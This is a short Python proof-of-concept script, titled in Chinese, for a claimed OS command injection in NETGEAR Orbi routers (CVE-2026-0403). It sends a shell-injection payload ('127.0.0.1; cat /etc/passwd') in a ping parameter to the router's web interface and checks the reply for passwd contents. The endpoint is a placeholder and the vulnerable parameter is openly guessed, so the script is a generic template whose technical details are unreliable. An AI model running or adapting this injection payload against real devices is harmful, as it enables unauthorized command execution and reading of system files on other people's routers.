CVE-2026-0403 NETGEAR Orbi路由器OS命令注入漏洞

#!/usr/bin/env python3 # CVE-2026-0403 PoC - NETGEAR Orbi Router OS Command Injection # Note: This PoC is for educational and authorized testing purposes only import requests import sys def exploit_cve_2026_0403(target_ip, target_port=80): """ Exploit for CVE-2026-0403: NETGEAR Orbi Router OS Command Injection Vulnerability: Insufficient input validation allows OS command injection Attack Vector: Adjacent Network (AV:A) Privileges Required: Low (PR:L) User Interaction: None (UI:N) The vulnerability exists due to lack of proper input sanitization in the router's web interface or API endpoints. """ # Target URL - adjust endpoint based on actual vulnerability location base_url = f"http://{target_ip}:{target_port}" # Example malicious payload - inject OS command # The actual vulnerable parameter depends on the specific firmware version payload = { # Example parameter that might be vulnerable 'ping_host': '127.0.0.1; cat /etc/passwd', 'ping_count': '1' } print(f"[*] Targeting: {base_url}") print(f"[*] Sending exploit payload...") try: # Attempt to send exploit request # Note: Actual endpoint needs to be identified from firmware analysis response = requests.post( f"{base_url}/cgi-bin/##", # Placeholder endpoint data=payload, timeout=10 ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") # Check for signs of successful command execution if 'root:' in response.text or 'bin:' in response.text: print("[+] Potential command injection successful!") print("[+] Evidence found in response") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve_2026_0403_poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_cve_2026_0403(target, port)